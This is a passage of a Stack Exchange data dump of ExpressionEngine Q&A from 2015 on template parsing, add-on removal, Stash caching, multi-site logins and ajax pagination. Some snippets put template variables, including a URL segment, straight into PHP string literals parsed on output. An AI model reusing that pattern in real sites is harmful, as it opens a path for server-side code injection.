$generalErrors.append('&amp;lt;p&amp;gt;' + error + '&amp;lt;/p&amp;gt;').show();&#xA;    }&#xA;  });&#xA;}&#xA;else if (data.success)&#xA;{&#xA;  window.location.href = data['return_url'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;from the example on SolSpace&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deliberately written the javascript out in quite a long handed fashion so its clearer whats going on and becuase its untested, you can probably optimise this somewhat! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps someone has a better answer...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-03T11:57:30.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32179" PostTypeId="2" ParentId="32165" CreationDate="2015-07-03T12:55:53.423" Score="0" Body="&lt;p&gt;I'm really not sure what you're looking for, since your question isn't very clear, but I'm taking a shot in the dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're looking for a way to output your custom field type as EE template tags, as you say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playlist}&#xA;    {videos}&#xA;    {titles}&#xA;{/playlist}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do something like this, you probably need to parse those variables using the template class. Use these references to refresh your knowledge of EE custom add-ons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#development-reference&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#development-reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-03T12:55:53.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32180" PostTypeId="1" CreationDate="2015-07-03T13:48:19.483" Score="0" ViewCount="108" Body="&lt;p&gt;How do I change  to  in default richtext editor field.   I have looked at the default HTML buttons - but this does not seem to update TextArea (rich text), but maybe (I haven't checked) updates TextArea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change  to  as  is deprecated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version we are using is ExpressionEngine Core Core v2.10.1 - Build Date: 20150501.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6460" LastActivityDate="2015-12-01T17:44:10.943" Title="How do I change &lt;b&gt; to &lt;strong&gt; in default richtext editor field" Tags="|editor|html|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32181" PostTypeId="1" CreationDate="2015-07-03T17:19:48.540" Score="0" ViewCount="106" Body="&lt;p&gt;Updating a site I want to get rid of Structure and move to NavEE. I have set all channels to 'unmanaged' and than disabled and removed Structure.&#xA;Now I'm getting an error after editing and submitting an existing entry: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requested module is not installed: structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what to do about this? &#xA;I can go back to a earlier version and do things different. But how?&lt;/p&gt;&#xA;" OwnerUserId="854" LastActivityDate="2016-06-18T16:51:51.433" Title="Structure removed and" Tags="|structure|navee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32182" PostTypeId="2" ParentId="32170" CreationDate="2015-07-03T18:03:00.553" Score="0" Body="&lt;p&gt;I'll take a stab, first your embed, don't pass the category stuff in the search string, so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;linea/display-products&quot; &#xA;  paginate_base=&quot;{segment_1}/page&quot;&#xA;  search=&quot;search:manufacturer='Viccarbe'&quot; &#xA;  limit=&quot;10&quot; &#xA;  order-by=&quot;title&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, we don't need to pass the segment category ID / Name into the embedded template, its available there too, so first I'll simplfy the channel tag to reflect a working (but without category) mode : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;product&quot;&#xA;  limit=&quot;{embed:limit}&quot; &#xA;  paginate=&quot;bottom&quot; &#xA;  paginate_base=&quot;{embed:paginate_base}&quot; &#xA;  orderby=&quot;{embed:order-by}|title&quot; &#xA;  sort=&quot;asc|asc&quot;&#xA;  {embed:search}&#xA;}&#xA;  {!-- ... --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, so now hopefully GNDesign can confirm this works without category filtering, obvisouly if not please post back withwwhat you did to correct this. Now we refer to the documents as you have &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we need the Category ID for the categoy parameter of the channel:entriees tag. Again OP can you confirm that &lt;code&gt;{segment_3_category_id}&lt;/code&gt; is putting the correct number out?? (Print it out in the embed, outside the channel entries loop to confirm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok, so we could add it back into the paramters like you implied by your edit code. Wait a cotton picken minute! What if the channel:entries tag is parsed &lt;strong&gt;before&lt;/strong&gt; the seg2cat tag?? Parse Order strikes again! Ok, so we review our embed tag, we'll parse this is as a seperate embed parameter, embeds are passed very late o this should be populated by now : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;linea/display-products&quot; &#xA;  paginate_base=&quot;{segment_1}/page&quot;&#xA;  search=&quot;search:manufacturer='Viccarbe'&quot; &#xA;  limit=&quot;10&quot; &#xA;  order-by=&quot;title&quot; &#xA;  category-id=&quot;{segment_3_category_id}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, this should guarantee that the &lt;code&gt;{segment_3_category_id}&lt;/code&gt; is parsed before the embed, and it's passed in as a seperate parameter. Now we just need to plug it into the embed...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;product&quot;&#xA;  limit=&quot;{embed:limit}&quot; &#xA;  paginate=&quot;bottom&quot; &#xA;  paginate_base=&quot;{embed:paginate_base}&quot; &#xA;  orderby=&quot;{embed:order-by}|title&quot; &#xA;  sort=&quot;asc|asc&quot;&#xA;  category=&quot;{embed:category-id}&quot;&#xA;  {embed:search}&#xA;}&#xA;  {!-- ... --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it. Let us know how you fare! Of course if you still have issues I'd recommend dropping the limit, paginate, paginate_base, order_by and sort parameters from your channel entries tag and paginate_base, limit and order-by from your embed tag, this cleans up the stuff so its easier to debug, you can add it back later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let us know how you fare!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-03T18:03:00.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32183" PostTypeId="2" ParentId="32180" CreationDate="2015-07-03T18:11:20.970" Score="1" Body="&lt;p&gt;Mate, you've got your work curt out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just spend a half hour of my time trawling through the compressed JS to find a solution, it's not coming easy! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the formatting seems to be applied via JS when your editing the field, this is courtisy of a plugin called Wysihat, but not just that, Wysihat has been modified to work with jQuery, then modified again to work with EE (closed source) and minified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much MUCH simplier solution would be to use a simple PHP snippet like so : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;_PHP On&lt;/strong&gt; parse on &lt;strong&gt;output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ...}&#xA;  &amp;lt;?php&#xA;    //because PHP is on output, rte_text_field will be replaced &#xA;    //with HTML before the PHP is evaluated&#xA;    $str = '{rte_text_field}';&#xA;    //now we simple do the old switch-er-oo, lets do i for em too!&#xA;    $needles = array('&amp;lt;b&amp;gt;','&amp;lt;/b&amp;gt;','&amp;lt;i&amp;gt;',&amp;lt;/i&amp;gt;');&#xA;    $replace = array('&amp;lt;strong&amp;gt;','&amp;lt;/strong&amp;gt;','&amp;lt;em&amp;gt;','&amp;lt;/em&amp;gt;');&#xA;    echo str_replace($needles, $replace, $str);&#xA;  ?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There ya go, this took 5 minutes to write whereas decompiling and trying to work out what the heck is going on in the minified EE version of Wysihat will take an age. Heck just writing the previous senrtance took me longer than the snippet above!!!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-03T18:11:20.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32184" PostTypeId="2" ParentId="32181" CreationDate="2015-07-03T18:13:56.863" Score="0" Body="&lt;p&gt;Have you checked that all of Structure is removed??&#xA;This includes the sections under &lt;code&gt;Add Ons&lt;/code&gt; for Modules, Accessories, Extensions, Fieldtypes and Plugins...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, did you disable the Structure components via the Admin CP? or did you just delete the files???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like EE thinks that some part of structure is still present...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-03T18:13:56.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32185" PostTypeId="2" ParentId="32181" CreationDate="2015-07-03T20:53:50.903" Score="0" Body="&lt;p&gt;Sounds like it's lingering. I would check your extension database table, I'm betting you still have some remnant hook rows pointing towards the Structure class!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the results of this query? (Note, I'm on mobile so I can't double check the table and column name, it might need adjusting)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_extensions WHERE method LIKE &quot;%structure%&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The table name might actually be exp_hooks, and the column name might be class, can't remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is definitely the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_extensions WHERE class LIKE &quot;%structure%&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you get any rows, Structure was almost certainly removed incorrectly (or their upd.structer.php file has bugs!).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-04T03:02:14.250" LastActivityDate="2015-07-04T03:02:14.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32186" PostTypeId="2" ParentId="13739" CreationDate="2015-07-06T03:02:28.373" Score="0" Body="&lt;p&gt;The new hosting server must have the default extension it looks for as an .HTM or .HTML file and was loading the blank default.html file first.&lt;/p&gt;&#xA;" OwnerUserId="6462" LastEditorUserId="1100" LastEditDate="2015-07-07T14:57:13.853" LastActivityDate="2015-07-07T14:57:13.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32187" PostTypeId="2" ParentId="32037" CreationDate="2015-07-06T07:15:29.287" Score="0" Body="&lt;p&gt;Stupidly, nothing was wrong with my settings, but with how the subdomain was linked to the url on the server. It had been linked to second-website, rather than secondwebsite. I overlooked that, as everything else worked, expect upload destinations. &lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-07-06T07:15:29.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32188" PostTypeId="1" AcceptedAnswerId="32197" CreationDate="2015-07-06T08:39:31.877" Score="1" ViewCount="22" Body="&lt;p&gt;I'm having a difficult time figuring this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a section in a website with events. Visitors can vote for these events, 24 hours before and after it happens. Longer before that, it has a 'attend'-button. Afterwards, it shows the average score.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I always do, I use Croxton's stash plugin. This section, ofcourse, shouldn't be stashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, at first, I had this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;  {if {current_time format=&quot;%U&quot;} - {event_time format=&quot;%U&quot;} &amp;lt; -86400}&#xA;    {facebook_link}&#xA;  {/if}&#xA;  {if {current_time format=&quot;%U&quot;} - {event_time format=&quot;%U&quot;} &amp;lt; 86400 &amp;amp;&amp;amp; {current_time format=&quot;%U&quot;} - {event_time format=&quot;%U&quot;} &amp;gt; -86400}&#xA;    &amp;lt;p&amp;gt;Voting open&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;  {if {current_time format=&quot;%U&quot;} - {event_time format=&quot;%U&quot;} &amp;gt; 86400}&#xA;    &amp;lt;p style=&quot;color: black;&quot;&amp;gt;{exp:bol_voting:stats entry=&quot;{event_id}&quot;}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&amp;lt;/div&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, ofcourse, because these sections get stashed, the time-checks don't matter. If we reach the time-frame in which people can vote, nothing will happen. Also, the eventual average score returned by bol_voting will be stashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't want that, so I wrapped it in a &lt;code&gt;{stash:nocache}&lt;/code&gt; wrapper. All my variables, as well as my custom bol_voting module, don't get parsed anymore (event_time and facebook_link). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can save me here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-07-06T18:17:02.997" Title="Stash with timestamps and custom written module" Tags="|stash|module|time|mustash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32189" PostTypeId="1" AcceptedAnswerId="32190" CreationDate="2015-07-06T11:59:28.987" Score="1" ViewCount="88" Body="&lt;p&gt;I have a channel that is using {exp:low_reorder:next_entry} and {exp:low_reorder:prev_entry}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am on the first entries page I need to link to the last entry, then if I am on the last entry link back to the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So effectively allowing the user to continuously navigate and loop through all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-07-06T12:06:51.760" Title="low-reorder first or last page" Tags="|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32190" PostTypeId="2" ParentId="32189" CreationDate="2015-07-06T12:06:51.760" Score="2" Body="&lt;p&gt;To answer my own question (helps if you fully read the docs). The answer is simply &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loop=&quot;yes&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-07-06T12:06:51.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32191" PostTypeId="1" CreationDate="2015-07-06T13:54:35.427" Score="0" ViewCount="37" Body="&lt;p&gt;I have inherited a newly designed web site that was built with EE and we recently migrated to a Dedicated Virtual Server and upon moving the site, all of the pages are accessible and log in to EE appears to be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, any attempt to get to to the home page comes up with a blank page that has a message on line 3 that says 'is a guest'.  There is no splash page or message that I can find in the code at all that would cause this message and apparently some type of a redirect...or at least not allowing view of the main page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As if the EE is expecting someone to sign in...but I can get to the admin page fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any clue why I am seeing this and what I can do to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any assistance.&lt;/p&gt;&#xA;" OwnerUserId="6457" LastActivityDate="2016-05-25T01:56:28.897" Title="'is a guest' message on home page" Tags="|server-migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32192" PostTypeId="1" CreationDate="2015-07-06T14:14:27.830" Score="0" ViewCount="61" Body="&lt;p&gt;I have a project that I'm working on in which I needed the Gift Certificate module... which can no longer be purchased. I already sold the project and this puts me in a terrible situation since Cartthrob closed it's doors so abruptly I have to ask if anyone has the latest working copy of the module (or any others since it appears these make be gone forever)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hate even asking this, but there's no other option at the moment.&lt;/p&gt;&#xA;" OwnerUserId="6464" LastActivityDate="2016-06-05T13:54:25.340" Title="Where can I find CartThrob modules" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32193" PostTypeId="1" CreationDate="2015-07-06T14:35:01.687" Score="0" ViewCount="86" Body="&lt;p&gt;I've been working on a few sites for a client.   The first of which can log in and have the session variable as well as a the {logged_in} tag read just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second, it doesn't matter how I log in (CP successfully logs in, for example, or through freemember or even EE's native membership form), it doesn't seem to read the {if logged_in} tag.  The session variable is also blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config files are lined up as explained in the MSM guide, and data can be written to the DB through channel forms, but I can't for the life of me figure out why I can't get the login state.   It's driving me nuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone as far as stripping down to the following code to test, and still nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    &amp;lt;?php&#xA;        $user_data = ee()-&amp;gt;session-&amp;gt;userdata(&quot;member_id&quot;);&#xA;        echo &quot;UD: &quot;.print_r($user_data,1);&#xA;    ?&amp;gt;&#xA;    YOU ARE LOGGED IN&amp;lt;Br&amp;gt;&amp;lt;br&amp;gt;&#xA;    DEBUG&amp;lt;BR&amp;gt;&#xA;    Email: {email}&amp;lt;br&amp;gt;&#xA;    GR ID: {group_id}&amp;lt;Br&amp;gt;&#xA;    ID: {member_id}&amp;lt;br&amp;gt;&#xA;    Name: {username}&amp;lt;br&amp;gt;&#xA;    LIMID: {logged_in_member_id}&#xA;&#xA;{/if}&#xA;{if logged_out}&#xA;    YOU AREN'T LOGGED IN&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas where to start looking for a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vince.&lt;/p&gt;&#xA;" OwnerUserId="6465" LastActivityDate="2016-05-22T15:23:46.520" Title="MSM Second Site not registering logged_in variable?" Tags="|multi-site-manager|login|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32194" PostTypeId="2" ParentId="32193" CreationDate="2015-07-06T14:44:07.550" Score="0" Body="&lt;p&gt;You rockin' PHP on input our output for that template? Try just turning it off as well. Next, what EE version you running? Also, can you give me the output of this (when PHP is set to output for that template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$a = &quot;{member_id}&quot;;&#xA;$b = &quot;{logged_in}&quot;;&#xA;var_dump($a);&#xA;echo &quot;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&quot;;&#xA;var_dump($b);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-06T14:44:07.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32195" PostTypeId="2" ParentId="32191" CreationDate="2015-07-06T14:50:58.687" Score="0" Body="&lt;p&gt;Sounds like possible broken index.php, and since you just migrated, I'd bet the farm on an ill file transfer. Have you tried re-migration? If your templates are stored in the DB and not as files, it's possible you have a failed database migration (the template table may be corrupt), or if you save templates as files, your file could be corrupt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Head on over to your &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/system/expressionengine/templates/your.default.template.group/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and look at index.html file. Can you paste it's template contents (you can remove most of the HTML elements or use pastebin to present it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking out your template... It's behaving exactly like it's supposed to. If you're not logged in, all you should see is &quot;is a guest&quot;. My first guess is that somehow your default template group got changed (do you have more than one template group?). If someone else did this migration for you, they screwed you on set up. From your pastebin, I would at least fix this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member_categories:categories username={logged_in_username}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member_categories:categories username=&quot;{logged_in_username}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll be honest, this looks like somebody's test template, and not at all like the index page of any production website. You should really go back to your third party migration team and ask them what the hell they did, because that template is not the homepage of a production site. Is it possible your template folder originally lived as a git repo, and somehow a very old commit was checked out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group 3 is the Guests group. Have you tried logging (the Control Panel) and returning to your index page tosee if that page gives your channel entry loop?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-07T14:28:05.633" LastActivityDate="2015-07-07T14:28:05.633" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32196" PostTypeId="2" ParentId="32193" CreationDate="2015-07-06T14:50:58.763" Score="0" Body="&lt;p&gt;check that you are actually logged into site #2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;did you login at site1.com/admin.php or site2.com/admin.php?&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-07-06T14:50:58.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32197" PostTypeId="2" ParentId="32188" CreationDate="2015-07-06T18:17:02.997" Score="2" Body="&lt;p&gt;Carefully &quot;unescape&quot; the variables you want to be cached, so e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:nocache}&#xA;&amp;lt;div&amp;gt;&#xA;  {if {current_time format=&quot;%U&quot;} - {/stash:nocache}{event_time format=&quot;%U&quot;}{stash:nocache} &amp;lt; -86400}&#xA;    {/stash:nocache}{facebook_link}{stash:nocache}&#xA;  {/if}&#xA;  {if {current_time format=&quot;%U&quot;} - {/stash:nocache}{event_time format=&quot;%U&quot;}{stash:nocache} &amp;lt; 86400 &amp;amp;&amp;amp; {current_time format=&quot;%U&quot;} - {/stash:nocache}{event_time format=&quot;%U&quot;}{stash:nocache} &amp;gt; -86400}&#xA;    &amp;lt;p&amp;gt;Voting open&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;  {if {current_time format=&quot;%U&quot;} - {/stash:nocache}{event_time format=&quot;%U&quot;}{stash:nocache} &amp;gt; 86400}&#xA;    &amp;lt;p style=&quot;color: black;&quot;&amp;gt;{exp:bol_voting:stats entry=&quot;{/stash:nocache}{event_id}{stash:nocache}&quot;}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;{/stash:nocache}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-07-06T18:17:02.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32200" PostTypeId="1" CreationDate="2015-07-06T20:23:02.150" Score="0" ViewCount="59" Body="&lt;p&gt;When I check the enable box form my 'Notify User' form preferences, the drop down is blank.   Any idea what I need to check/code wise or other in order to get the list of fiends to appear in this drop down menu?&#xA;We're using EE2.9.2 and Freeform Pro v.4.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, and I figure the answer is no but will ask anyway.&#xA;In either the admin_notify or admin_cc_notify parameters, can you use multiple email addresses, with one being a field/variable from the form itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the form contained the field email2 which is an email address.  Could the admin_cc_notify field = &quot;email2&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2016-05-24T13:50:45.777" Title="Freeform Pro Notify User select menu is blank" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32201" PostTypeId="2" ParentId="31354" CreationDate="2015-07-07T04:32:42.770" Score="0" Body="&lt;p&gt;We actually just accomplished a similar setup with the Solspace User module.  Zoo Admin gave us some trouble once we started to deal with MSM (disclaimer before you buy).  We're using it in a profile setting where we needed to use channel fields to get all of the functionality we wanted.  Once assigned as author, that member has full access to edit their member and/or channel entry fields.  Pretty pleased with the outcome.  Let me know if this would help for your -- happy to share our work.&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2015-07-07T04:32:42.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32202" PostTypeId="2" ParentId="28847" CreationDate="2015-07-07T04:38:03.753" Score="0" Body="&lt;p&gt;Although not as flexible, I'm adding suggestion to write the conditional using &lt;code&gt;{if segment_x == 'thing1'}&lt;/code&gt; as another viable option.&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2015-07-07T04:38:03.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32204" PostTypeId="1" CreationDate="2015-07-07T06:26:49.407" Score="0" ViewCount="45" Body="&lt;p&gt;I have the site &lt;a href=&quot;http://staging.cwtest.co.uk/entertainment/celebrity&quot; rel=&quot;nofollow&quot;&gt;http://staging.cwtest.co.uk/entertainment/celebrity&lt;/a&gt; and i wrote the code for ajax loadmore in the button of the page. When click the load more button the ajax load the data that's is fine but i have use the plugin code inside the ajax which doesn't work properly. I have set the php parsing yes and output set the &quot;output&quot;. So what is solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ajax response code is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$i = &quot;{segment_4}&quot;;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;section class=&quot;subsection ajax&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;2&quot; dynamic=&quot;off&quot; offset=&quot;`&amp;lt;?php echo $i;?&amp;gt;`&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {exp:word_limit total=&quot;15&quot;}&#xA;                        {body}&#xA;                        {/exp:word_limit}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3}&quot; limit=&quot;2&quot; dynamic=&quot;off&quot; offset=&quot;`&amp;lt;?=($i+2);?&amp;gt;`&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields&quot;}&#xA;            &amp;lt;div class=&quot;wrap-content clearfix&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;post-wrap&quot;&amp;gt;&#xA;                    {if {count} == 1}&#xA;                        {if &quot;{image}&quot;!=&quot;&quot; &amp;amp;&amp;amp; '{exp:bn_file_exists:check_file src=&quot;{image}&quot;}'}&#xA;                        &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a 